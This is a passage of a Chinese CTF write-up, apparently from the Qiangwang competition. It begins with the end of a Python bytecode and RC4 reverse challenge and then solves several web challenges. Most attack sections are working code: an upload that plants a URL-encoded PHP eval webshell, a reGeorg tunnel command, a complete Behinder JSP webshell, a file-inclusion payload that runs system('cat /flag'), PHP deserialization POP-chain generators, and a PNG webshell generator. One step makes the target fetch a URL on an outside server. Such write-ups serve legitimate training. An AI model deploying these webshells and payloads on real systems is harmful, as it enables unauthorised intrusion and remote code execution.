5f e2 f8 8c 11 4d 7d 27 3c 40 ce 54 f6 3f 5f 6d a4 f8 b4 ea ca c7 3a b9 e6 06 8b eb fa 62 48 85 78 4a 33 24 dd de b6 dc a0 b8 62 96 31 b7 13 3d 17 13 b1 e9 73 00 00 00 e9 61 00 00 00 e9 75 00 00 00 e9 72 00 00 00 a9 04 e9 02 00 00 00 e9 08 00 00 00 e9 0b 00 00 00 e9 0a 00 00 00 e9 77 00 00 00 e9 74 00 00 00 e9 7c 00 00 00 e9 7f 00 00 00 a9 04 e9 03 00 00 00 e9 07 00 00 00 e9 09 00 00 00 e9 0c 00 00 00 63 01 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 06 00 00 00 43 00 00 00 73 1a 00 00 00 69 00 7c 00 5d 09 7d 01 7c 01 7c 01 74 00 7c 01 19 f0 41 7d 93 02 71 02 53 49 72 0d 00 00 00 29 01 da 01 6e 29 02 da 02 2e 30 72 15 00 00 00 72 0d 00 00 00 72 0d 00 00 00 72 0e 00 00 00 da 0a 3c 64 69 63 74 63 6f 6d 70 3e 2c 00 00 00 72 18 00 00 00 72 38 00 00 00 63 01 00 00 00 00 00 00 00 00 00 00 00 02 00 00 00 03 00 00 00 63 00 00 00 73 1c 00 00 00 81 00 7c 00 5d 09 7d 01 7c 01 a0 00 a1 00 7c 01 66 02 56 32 01 d6 71 02 64 00 53 22 29 01 4e 29 01 da 09 62 69 74 5f 63 6f 75 6e 74 29 02 72 37 00 00 00 72 0c 00 00 00 72 0d 00 00 00 72 0d 00 00 00 72 0e 00 00 00 da 09 3c 67 65 6e 65 78 70 72 3e 2d 00 00 00 72 18 00 00 00 72 3a 00 00 00 63 01 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 43 00 00 00 73 08 00 00 00 7c 00 64 01 19 e5 53 0a 29 02 4e 72 10 00 00 00 72 0d 00 00 00 29 01 72 15 00 00 00 72 0d 00 00 00 72 0d 00 00 00 72 0e 00 00 00 72 17 00 00 00 2f 00 00 00 72 18 00 00 00 72 17 00 00 00 29 1c da 03 73 79 73 da 07 68 61 73 68 6c 69 62 72 03 00 00 00 72 0f 00 00 00 72 12 00 00 00 72 13 00 00 00 72 1d 00 00 00 da 08 5f 5f 6e 61 6d 65 5f 5f da 01 77 da 01 65 da 01 62 da 01 73 da 01 74 da 01 6d 72 36 00 00 00 72 06 00 00 00 72 1b 00 00 00 da 06 73 6f 72 74 65 64 da 05 69 74 65 6d 73 72 16 00 00 00 da 05 70 72 69 6e 74 da 06 64 65 63 6f 64 65 da 05 73 74 64 69 6e da 06 62 75 66 66 65 72 da 04 72 65 61 64 72 1c 00 00 00 da 01 63 da 06 64 69 67 65 73 74 72 0d 00 00 00 72 0d 00 00 00 72 0d 00 00 00 72 0e 00 00 00 da 08 3c 6d 6f 64 75 6c 65 3e 01 00 00 00 73 32 00 00 00 00 02 08 01 0c 02 08 0a 08 0a 08 04 08 03 08 01 04 01 04 03 04 01 04 02 04 01 0e 01 0e 01 12 01 12 02 1e 01 12 01 0c 01 0a 02 0a 01 10 01 16 02 10 e9
将其转为十六进制后存储为文件可得一个 Python 3.10 的 pyc 文件。使用 stegosaurus 解隐写可以得到如下内容。此时需要修改 stegosaurus 工具的源码,将 payload = str(payloadBytes, "utf8")
修改作 payload = payloadBytes
才能得到无法解码的字节载荷。
Extracted payload: bytearray(b'\xe5\n2\xd6"\xf0}I\xb0\xcd\xa2\x11\xf0\xb4U\x166\xc5o\xdb\xc9\xead\x04\x15b')
写脚本可以将 pyc 转换成字节码。
import dis
import marshal
with open('extracted.pyc', 'rb') as f:
f.seek(16)
dis.dis(marshal.load(f))
将字节码手动转译成 Python 代码并将解隐写得到的内容添加进去,可以得到如下脚本。
import sys
from hashlib import sha256
def KSA(key):
keylength = len(key)
S=list(range(256))
j=0
for i in range(256):
j=((j + S[i]) + key[i % keylength]) % 256
S[j],S[i]=S[i],S[j]
return S
def PRGA(S):
i = 0
j = 0
while(1):
i = (i + 1) % 256
j = (j + S[i]) % 256
S[j],S[i]=S[i],S[j]
K=S[(S[i] + S[j]) % 256]
yield K
def RC4(key):
S=KSA(key)
return PRGA(S)
def xor(p,stream):
return bytes(map(lambda x:(x ^ stream.__next__()), p))
if __name__ == '__main__':
w=b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f'
e=b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~'
b=b'geo'
s=b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141'
t=b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1"
m={2:115 ,8:97, 11:117, 10:114}
n={3:119, 7:116, 9:124, 12:127}
m|={x:x^n[x]for x in n}
m|=((i.bit_count(),i) for i in b)
stream=RC4(list(map(lambda x:x[1],sorted(m.items()))))
print (stream)
print(xor(w,stream).decode())
#p=sys.stdin.buffer.read()
p=b'\xe5\n2\xd6"\xf0}I\xb0\xcd\xa2\x11\xf0\xb4U\x166\xc5o\xdb\xc9\xead\x04\x15b'
e=xor(e,stream)
c=xor(p,stream)
print (c)
if sha256(c).digest() == s:
print(xor(t,stream).decode())
print(e.decode())
运行脚本可得如下信息。
<generator object PRGA at 0x000001D8EACA83C0>
Give me the mystery string :
b'flag{P0w5rFu1_0pEn_50urcE}'
Congratulations! Now you should now what the flag is
You are wrong!
flag{P0w5rFu1_0pEn_50urcE}
Web
EasyWeb
在页面源码中可见如下提示。
<!-- /hint -->
访问 /hint
路由可得如下提示。
{"hint":"# hint ^_^\n\tSo~ How to get files in this server? \n\tfiles/????????????????????????????????"}
访问 /files
路由,下载文件可得如下提示。
Try to scan 35000-40000 ^_^.
All tables are empty except for the table where the username and password are located
Table: employee
使用 nmap 进行端口扫描,可以得到如下端口开放信息。
Host is up (0.094s latency).
Not shown: 5000 closed ports
PORT STATE SERVICE
36842/tcp open unknown
访问 36842 端口可得一个登录界面,稍微尝试可得 SQL 注入点。根据提示爆出账号 admin
,密码 99f609527226e076d668668582ac4420
。
扫描可得 /file
路由,存在一个文件上传点,尝试上传一个 .htaccess
将 txt 文件
addhandler php5-script .txt
将其上传后再尝试上传 PHP 文件。存在危险字符检测,因此采用触发写入,将内容完全 URL Encode,构造上传载荷如下。
<?php file_put_contents("this.txt",urldecode("%3c%3f%70%68%70%20%65%76%61%6c%28%22%24%5f%50%4f%53%54%5b%31%5d%22%29%3b"));
将其上传后访问 /upload/1d929bafc144014d7e7df7fe817232e4/info.txt
即可得到一个 shell。使用蚁剑连接,发现没有权限读取 flag。使用插件扫描内网端口可得 8006 端口是开放的。
上传 reGeorg 的 tunnel.nosocket.php
将内网端口代理出来。
python2 reGeorgSocksProxy.py -l 0.0.0.0 -p 3333 -u http://121.42.242.238:36842/upload/382f1b9e4a7b75dbeb05a3c4ed2fab04/tunnel.nosocket.php -k a
访问 localhost:8006 可以发现存在 Jboss,采用 JMX-Console 未授权访问进行攻击。使用冰蝎的 jsp 一句话生成新的 war 包。
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
jar -cvf zfsn.war shell.jsp
将得到的包上传到可访问的路径下获取网址,使用 jboss.deployment 的 addUrl 将 war 包加载进去。
使用冰蝎连接如下链接,即可在文件管理中读取到 flag。
http://localhost:8006/zfsn/shell.jsp
flag{V3ry_v3rY_E3si_a_w3B_Ch@1l3ng3}
Hard_Penetration
使用 shiro_attack 2.0 对 /login
路由进行攻击。
使用该工具对 /login 注入冰蝎的 jsp 木马并使用冰蝎连接。使用命令执行发现 flag 无法直接读取,但是 apache 的配置下存在 8005 的开放端口。
由于 /var/www/html
无权访问,因此尝试使用端口映射将服务代理出来。
根据网站上的文字猜测是 BAOCMS,在 GitHub 上找到类似的源码进行审计。可以发现在 Delivery/Common/display
下存在文件包含。display 中调用到的 parseTemplate 方法直接返回了处理过的文件名,由 display 借由 fetch 直接 include 进到页面中,因此假使模板文件是 PHP 代码,其亦可成功执行。因此,上传一个包含 <?php system("cat /flag");
的 html 文件,再请求到这个路由直接将其包含即可 RCE。除此之外,还需要获得有效的 uid 才能进行操作,在 common.php 中可以找到如下代码。
function setUid($uid=1){ //固定 uid 为 1,方便调试获取对应 cookie
import("ORG/Crypt/Base64");
$uid = 'USER_'.$uid.'_'.NOW_TIME;
$uid = Base64::encrypt($uid, C('AUTH_KEY'));
cookie('Tudou_TOKEN',$uid,86400 * 365); //存2小时
return true;
}
function getUid(){
import("ORG/Crypt/Base64");
$token = cookie('Tudou_TOKEN');
$token = Base64::decrypt($token, C('AUTH_KEY'));
$token = explode('_', $token);
setUid(); //在此处添加一行代码,方便调试获取 cookie
if($token[0]!= 'USER') return 0;
return (int)$token[1];
}
在 getUid 函数内新增一行代码,动态调试到 setUid 即可得到有效的 Tudou_TOKEN
。
%8D%8A%84%7B%8E%9Ch%AB%8C%E0u%97%B3%9B%85%97%B2%7D%A7h%87txs
将恶意 html 上传到 /tmp 目录下,发起文件包含请求即可获得 flag。
flag{82807831-5195-403d-b401-f180736ebea9}
pop_master
题目给出的代码如下。
<?php
include "class.php";
//class.php.txt
highlight_file(__FILE__);
$a = $_GET['pop'];
$b = $_GET['argv'];
$class = unserialize($a);
$class->yuAp2O($b);
class.php.txt 中是经过混淆的类,写个脚本一把梭回溯。
<?php
ini_set("memory_limit", "-1");
const CLASS_FILENAME = "class.php";
global $result;
global $CLASS_FILE;
global $classes;
$CLASS_FILE = file_get_contents('class.php');
$result = array();
include CLASS_FILENAME;
$classes = get_declared_classes();
/**
* Generate a class PHP code as a node
* @param $class string class name
* @param $functionName string function name in the class
* @param $jmpClass string next node to jump to
* @return string generated class PHP code
*/
function GenerateClass(string $class, string $functionName, string $jmpClass): string{
return (
($jmpClass != "") ?
("class {$class}{public function __construct(){\$this->{$functionName}=new {$jmpClass}();}}") :
("class {$class}{public function __construct(){\$this->{$functionName}=\"None\";}}"));
}
/**
* Find a class with specified function in it
* @param $functionName string function name to find
* @return mixed class that contains the function or false if no class contains
*/
function FindClassByFunction(string $functionName){
$classes = get_declared_classes();
foreach($classes as $class){
$functions = get_class_methods($class);
foreach($functions as $function){
if(in_array($function, array($functionName))){
return $class;
}
}
}
return false;
}
/**
* Backtrace to find the path to eval
* @param $functionName string function name which is start of backtrack
* @return bool false if none path found yet || none if path found which would have written to exp.php
*/
function BackTrace(string $functionName): bool{
global $result;
global $CLASS_FILE;
global $classes;
foreach($classes as $class){
$functions = get_class_methods($class);
$variables = get_class_vars($class);
foreach($functions as $function){
if(in_array($function, array($functionName))){
$jmpFunction = array_keys($variables)[0];
$rule_0 = "/public function $functionName\((.*?)\)(.*?) }/ms";
preg_match_all($rule_0, $CLASS_FILE, $content);
$rule_1 = '/\$this->' . $jmpFunction . '->([a-zA-Z0-9]{6})\(/';
preg_match_all($rule_1, $content[0][0], $matches);
if(count($matches[1]) > 1){
$next_method_list = $matches[1];
foreach($next_method_list as $k => $v){
$extractFunctionContents = "/public function $v\((.*?)\)(.*?) }/ms";
preg_match_all($extractFunctionContents, $CLASS_FILE, $functionContent);
$params = "\\" . $functionContent[1][0];
$extractRightOp = "/$params=(.*?);/";
preg_match_all($extractRightOp, $functionContent[0][0], $rightOp);
if(count($rightOp[1]) == 1){
return false;
}
// if none right operator when eval is valid
$isDestination = preg_match("/eval\((.*?)\);/", $functionContent[0][0]) && !preg_match("/='/", $functionContent[0][0]);
$step = FindClassByFunction($v);
if($isDestination){
array_push($result, GenerateClass($class, $jmpFunction, $step));
file_put_contents("exp.php", "<?php" . PHP_EOL . implode("\n", $result) . PHP_EOL . "echo serialize(new PADDING());");
die();
}
if($step != ''){
array_push($result, GenerateClass($class, $jmpFunction, $step));
if(!BackTrace($v)){
array_pop($result);
continue;
}
break;
}
return false;
}
}elseif(count($matches[1]) == 1){
$destinationFunction = $matches[1][0];
$extractFunctionContents = "/public function $destinationFunction\((.*?)\)(.*?) }/ms";
preg_match_all($extractFunctionContents, $CLASS_FILE, $functionContent);
$params = "\\" . $functionContent[1][0];
$extractRightOp = "/$params=(.*?);/";
preg_match_all($extractRightOp, $functionContent[0][0], $rightOp);
// eval arg has been padded, invalid.
if(count($rightOp[1]) == 1){
return false;
}
$isDestination = preg_match("/eval\((.*?)\);/", $functionContent[0][0])
&& !preg_match("/='/", $functionContent[0][0]);
if($isDestination){
array_push($result, GenerateClass($class, $jmpFunction, ""));
file_put_contents("exp.php", "<?php" . PHP_EOL . implode("\n", $result) . PHP_EOL . "echo serialize(new PADDING());");
die();
}
$step = FindClassByFunction($destinationFunction);
if($step != ''){
array_push($result, GenerateClass($class, $jmpFunction, $step));
if(!BackTrace($destinationFunction)){
array_pop($result);
}
}
return false;
}
}
}
}
return false;
}
BackTrace("yuAp2O");
生成的代码整理后如下。
<?php
class vPFL76{public function __construct(){$this->NwyYaGg=new KUGigF();}}
class KUGigF{public function __construct(){$this->yeibvDG=new rMo15X();}}
class rMo15X{public function __construct(){$this->FK5IgDD=new cGInXd();}}
class cGInXd{public function __construct(){$this->pazgAVc=new Akn5g6();}}
class Akn5g6{public function __construct(){$this->HRHFKR3=new ox6mgh();}}
class ox6mgh{public function __construct(){$this->yHSRG7p=new UvIezc();}}
class UvIezc{public function __construct(){$this->G6ci7az=new a68xiw();}}
class a68xiw{public function __construct(){$this->ndGFMQ7=new xSroRa();}}
class xSroRa{public function __construct(){$this->oXHWucx=new aCWT05();}}
class aCWT05{public function __construct(){$this->HGtml2m=new yDIcsa();}}
class yDIcsa{public function __construct(){$this->EQLf6vK=new pkszNY();}}
class pkszNY{public function __construct(){$this->NU3qxgm=new tHRECm();}}
class tHRECm{public function __construct(){$this->niY1imT=new xwg8HP();}}
class xwg8HP{public function __construct(){$this->UPxY7Rh=new uwsYxI();}}
class uwsYxI{public function __construct(){$this->O6oCtiA=new MxQ8vY();}}
class MxQ8vY{public function __construct(){$this->z4n5cgd=new v9zyqI();}}
class v9zyqI{public function __construct(){$this->lXmIYTK=new ZQTdEz();}}
class ZQTdEz{public function __construct(){$this->tfRml9G=new sXLGZq();}}
class sXLGZq{public function __construct(){$this->pwGsvpx=new gdK3FL();}}
class gdK3FL{public function __construct(){$this->XPiW7lc=new Wu1LLY();}}
class Wu1LLY{public function __construct(){$this->SqZ7tgA=new e5RFzb();}}
class e5RFzb{}
echo serialize(new vPFL76());
将序列化字符串生成得到如下内容。
O:6:"vPFL76":1:{s:7:"NwyYaGg";O:6:"KUGigF":1:{s:7:"yeibvDG";O:6:"rMo15X":1:{s:7:"FK5IgDD";O:6:"cGInXd":1:{s:7:"pazgAVc";O:6:"Akn5g6":1:{s:7:"HRHFKR3";O:6:"ox6mgh":1:{s:7:"yHSRG7p";O:6:"UvIezc":1:{s:7:"G6ci7az";O:6:"a68xiw":1:{s:7:"ndGFMQ7";O:6:"xSroRa":1:{s:7:"oXHWucx";O:6:"aCWT05":1:{s:7:"HGtml2m";O:6:"yDIcsa":1:{s:7:"EQLf6vK";O:6:"pkszNY":1:{s:7:"NU3qxgm";O:6:"tHRECm":1:{s:7:"niY1imT";O:6:"xwg8HP":1:{s:7:"UPxY7Rh";O:6:"uwsYxI":1:{s:7:"O6oCtiA";O:6:"MxQ8vY":1:{s:7:"z4n5cgd";O:6:"v9zyqI":1:{s:7:"lXmIYTK";O:6:"ZQTdEz":1:{s:7:"tfRml9G";O:6:"sXLGZq":1:{s:7:"pwGsvpx";O:6:"gdK3FL":1:{s:7:"XPiW7lc";O:6:"Wu1LLY":1:{s:7:"SqZ7tgA";O:6:"e5RFzb":0:{}}}}}}}}}}}}}}}}}}}}}}
发送含有载荷的请求即可获得 flag。
flag{85e385d3-46be-4e29-b005-3e54f85d2370}
WhereIsUWebShell
题目给出了如下源代码。
<!-- You may need to know what is in e2a7106f1cc8bb1e1318df70aa0a3540.php-->
<?php
// index.php
ini_set('display_errors', 'on');
if(!isset($_COOKIE['ctfer'])){
setcookie("ctfer",serialize("ctfer"),time()+3600);
}else{
include "function.php";
echo "I see your Cookie<br>";
$res = unserialize($_COOKIE['ctfer']);
if(preg_match('/myclass/i',serialize($res))){
throw new Exception("Error: Class 'myclass' not found ");
}
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
<?php
// myclass.php
class Hello{
public function __destruct()
{ if($this->qwb) echo file_get_contents($this->qwb);
}
}
?>
<?php
// function.php
function __autoload($classname){
require_once "/var/www/html/$classname.php";
}
?>
很容易看出反序列化读文件,关键在于后面 myclass
的正则过滤。此时只有让 $res
不存在,再次序列化的字符串里才能没有这个类。在 PHP 的手册中有如下描述。
如果传递的字符串不可反序列化,则返回
false
,并产生一个E_NOTICE
。
因此,我们只需要让反序列化进行到一半就失败即可。尝试修改序列化字符串的最后几个字符即可达成目的。使用如下脚本构造读取文件的载荷。
<?php
// trigger the include of myclass.php
class myclass{
public $triggerHello;
public function __construct(){
$this->triggerHello = new Hello();
}
}
class Hello{
public $qwb;
public function __construct(){
$this->qwb = "e2a7106f1cc8bb1e1318df70aa0a3540.php"; // read file
}
}
echo substr(urlencode(serialize(new myclass())), 0, -6);
脚本将生成的序列化字符串的最后两个 }
,此时序列化会成功读取文件,但是最终会失败,从而绕过了后面的正则。读取到了如下文件。
<?php
include "bff139fa05ac583f685a523ab3d110a0.php";
include "45b963397aa40d4a0063e0d85e4fe7a1.php";
$file = isset($_GET['119ef9cf-b19b-4bff-90ea-c6bb9b30b2ce'])?$_GET['119ef9cf-b19b-4bff-90ea-c6bb9b30b2ce']:"404.html";
$flag = preg_match("/tmp/i",$file);
if($flag){
PNG($file);
}
include($file);
$res = @scandir($_GET['00b5e1f9-4831-4af6-bd3c-2472bdcf7d5b']);
if(isset($_GET['00b5e1f9-4831-4af6-bd3c-2472bdcf7d5b'])&&$_GET['00b5e1f9-4831-4af6-bd3c-2472bdcf7d5b']==='/tmp'){
$somthing = GenFiles();
$res = array_merge($res,$somthing);
}
shuffle($res);
@print_r($res);
?>
很容易发现其有列出目录的功能。除此之外可以以同样的方式将其中 include 的文件读出。
//bff139fa05ac583f685a523ab3d110a0.php
function PNG($file)
{
if(!is_file($file)){die("我从来没有见过侬");}
$first = imagecreatefrompng($file);
if(!$first){
die("发现了奇怪的东西2333");
}
$size = min(imagesx($first), imagesy($first));
unlink($file);
$second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
if ($second !== FALSE) {
imagepng($second, $file);
imagedestroy($second);//销毁,清内存
}
imagedestroy($first);
}
?>
//45b963397aa40d4a0063e0d85e4fe7a1.php
function GenFiles(){
$files = array();
$str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$len=strlen($str)-1;
for($i=0;$i<10;$i++){
$filename="php";
for($j=0;$j<6;$j++){
$filename .= $str[rand(0,$len)];
}
// file_put_contents('/tmp/'.$filename,'flag{fake_flag}');
$files[] = $filename;
}
return $files;
}
?>
可以发现其中 PNG
函数对传入的文件进行了重渲染操作。/tmp
下的文件将被传给 PNG
重渲染后直接包含。GenFiles
则是生成假的文件字符串来混淆视听,由于是强等于的判断 ==='/tmp'
,直接用 /tmp/
即可绕过这个函数的执行。而二次渲染的图片马可以借由 PNG-IDAT-Payload-Generator
写出如下脚本来生成。
PAYLOAD_LENGTH = 20
# PAYLOAD = "(\"PHP\".\"INFO\")()"
PAYLOAD = "EVAL($_POST[\"ZIT\"])"
DEFAULT_COMPRESSED_STRING = b"\xa3\x9f\x67\x54\x6f\x2c\x24\x15\x2b\x11\x67\x12\x54\x6f\x11\x2e\x29\x15\x2b\x21\x67\x22\x6b\x6f\x5f\x53\x10"
ENV = "http://QUESTION_HOST_HERE/"
def RawDeflate(data, compresslevel=9):
compress = zlib.compressobj(
compresslevel, # level: 0-9
zlib.DEFLATED, # method: must be DEFLATED
-zlib.MAX_WBITS, # window size in bits:
# -15..-8: negate, suppress header
# 8..15: normal
# 16..30: subtract 16, gzip header
zlib.DEF_MEM_LEVEL, # mem level: 1..8/9
0 # strategy:
# 0 = Z_DEFAULT_STRATEGY
# 1 = Z_FILTERED
# 2 = Z_HUFFMAN_ONLY
# 3 = Z_RLE
# 4 = Z_FIXED
)
deflated = compress.compress(data)
deflated += compress.flush()
return deflated
def RawInflate(data):
decompress = zlib.decompressobj(-zlib.MAX_WBITS)
inflated = decompress.decompress(data)
inflated += decompress.flush()
return inflated
# Generate payload
payload = (PAYLOAD + "{}").format(" " * int(PAYLOAD_LENGTH - (len(PAYLOAD)))).encode()
print("[+] Using payload ~{}~".format(payload))
payloadWrapped = codecs.encode(
RawInflate(RawDeflate(DEFAULT_COMPRESSED_STRING).replace(b"$_GET[0]($_POST[1]);", payload)), "hex_codec")
print("[+] Generated wrapped payload {}".format(payloadWrapped))
# Generate image
evilImage = "./evilImage.png"
filterProof = bypass_filters(payloadWrapped)
save_image(filterProof, evilImage)
print("[+] Generated Image {}".format(evilImage))
verify(evilImage, payload)
print("[+] Fin")
此时整个包含临时文件 RCE 的路径就完整了,但是临时文件要想办法留存更久。因此考虑使用 file_get_contents($this->qwb);
来阻塞进程,即在自己的服务器上给出如下代码,使得程序的请求强制停留等待,即给临时文件包含提供了时间。
<?php
sleep(2147483647);
写出如下载荷来达成阻塞的目的,同时以 POST 的方式将生成的恶意文件上传。
<?php
// trigger the include of myclass.php
class myclass{
public $triggerHello;
public function __construct(){
$this->triggerHello = new Hello();
}
}
class Hello{
public $qwb;
public function __construct(){
$this->qwb = "http://8.136.8.210:3255"; // force sleep 2147483647
}
}
echo substr(urlencode(serialize(new myclass())), 0, -6);
上传文件后使用 e2a7106f1cc8bb1e1318df70aa0a3540.php
列出 /tmp
下的文件,再发送请求将其包含后执行指令。
在 /l1b
下可以找到疑似 flag 的文件,但是无法读出,猜测需要一个 readflag,可以找到有 /usr/bin/ed471efd0577be6357bb94d6R3@dF1aG
文件,将其作 readflag 使用,构造 /usr/bin/ed471efd0577be6357bb94d6R3@dF1aG /l1b/06cb199b/1ea50a20/8d8880fa/eaf8f8a5/c7769282/Fl444gggb08c9817
即可以得到 flag。
flag{e9f76b6f-46c5-477e-b7ec-f5f03df1f74a}
[强网先锋]赌徒
www.zip 有源码泄露,可以得到如下源码。
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>
构造如下脚本生成序列化字符串载荷。
<?php
class Start{
public function __construct(){
$this->name = new Info();
}
}
class Info{
public $file;
public function __construct(){
$this->file['filename'] = new Room();
$this->file['filename']->a = new Room();
}
}
class Room{
public function __construct(){
$this->filename = '/flag';
}
}
echo serialize(new Start());
将得到的载荷以 GET 参数 hello 发送请求即可得到如下字符串。
ZmxhZ3s3MzcxOGIzMy03OWRlLTQyZmMtOWZkMi02MmEyZGE1NjJlMWN9
将其 Base64 解码一次即可得到 flag。
flag{73718b33-79de-42fc-9fd2-62a2da562e1c}